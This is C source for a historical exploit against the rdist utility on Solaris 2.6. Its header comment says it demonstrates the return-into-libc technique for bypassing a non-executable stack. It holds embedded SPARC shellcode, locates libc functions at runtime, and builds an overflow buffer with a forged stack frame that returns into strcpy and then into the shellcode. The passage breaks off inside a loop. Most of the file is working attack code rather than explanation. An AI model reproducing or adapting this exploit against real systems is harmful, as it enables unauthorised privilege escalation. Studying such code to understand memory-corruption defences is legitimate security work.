/* rdist exploit for Solaris 2.6 - horizon - This demonstrates the return into libc technique for bypassing stack execution protection. This requires some preliminary knowledge for use. to compile: gcc rdistex.c -o rdistex -lsocket -lnsl -lc -ldl -lmp */ #include #include #include #include #include #include u_char sparc_shellcode[] = "\xAA\xAA\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08" "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08\xAA"; #define BUF_LENGTH 1024 int main(int argc, char *argv[]) { char buf[BUF_LENGTH * 2]; char tempbuf[BUF_LENGTH * 2]; char teststring[BUF_LENGTH * 2]; char padding[128]; char *env[10]; char fakeframe[512]; char platform[256]; void *handle; long strcpy_addr; long dest_addr; u_char *char_p; u_long *long_p; int i; int pad=25; if (argc==2) pad+=atoi(argv[1]); char_p=buf; if (!(handle=dlopen(NULL,RTLD_LAZY))) { fprintf(stderr,"Can't dlopen myself.\n"); exit(1); } if ((strcpy_addr=(long)dlsym(handle,"strcpy"))==NULL) { fprintf(stderr,"Can't find strcpy().\n"); exit(1); } strcpy_addr-=4; if (!(strcpy_addr & 0xff) || !(strcpy_addr * 0xff00) || !(strcpy_addr & 0xff0000) || !(strcpy_addr & 0xff000000)) { fprintf(stderr,"the address of strcpy() contains a '0'. sorry.\n"); exit(1); } printf("found strcpy() at %lx\n",strcpy_addr); if ((dest_addr=(long)dlsym(handle,"accept"))==NULL) { fprintf(stderr,"Can't find accept().\n"); exit(1); } dest_addr=dest_addr & 0xCCCCCC00; dest_addr+=0x1800c; if (!(dest_addr & 0xff) || !(dest_addr & 0xff00) || !(dest_addr & 0xff0000) || !(dest_addr & 0xff000000)) { fprintf(stderr,"the destination address contains a '0'. sorry.\n"); exit(1); } printf("found shellcode destination at %lx\n",dest_addr); /* hi sygma! */ memset(char_p,'A',BUF_LENGTH); long_p=(unsigned long *) (char_p+1024); /* We don't care about the %l registers */ *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; /* Here is the saved %i0-%i7 */ *long_p++=0xdeadbeef; *long_p++=0xefffd378; // safe value for dereferencing *long_p++=0xefffd378; // safe value for dereferencing *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xeffffb78; // This is where our fake frame lives *long_p++=strcpy_addr; // We return into strcpy *long_p++=0; long_p=(long *)fakeframe; *long_p++=0xAAAAAAAA; // garbage *long_p++=0xdeadbeef; // %l0 *long_p++=0xdeadbeef; // %l1 *long_p++=0xdeadbeaf; // %l2 *long_p++=0xdeadbeef; // %l3 *long_p++=0xdeadbeaf; // %l4 *long_p++=0xdeadbeef; // %l5 *long_p++=0xdeadbeaf; // %l6 *long_p++=0xdeadbeef; // %l7 *long_p++=dest_addr; // %i0 - our destination (i just picked somewhere) *long_p++=0xeffffb18; // %i1 - our source *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xdeadbeef; *long_p++=0xeffffd18; // %fp - just has to be somewhere strcpy can use *long_p++=dest_addr-8; // %i7 - return into our shellcode *long_p++=0; sprintf(tempbuf,"blh=%s",buf); /* This gives us some padding to play with */ memset(teststring,'B',BUF_LENGTH); teststring[BUF_LENGTH]=0; sysinfo(SI_PLATFORM,platform,256); pad+=21-strlen(platform); for (i=0;i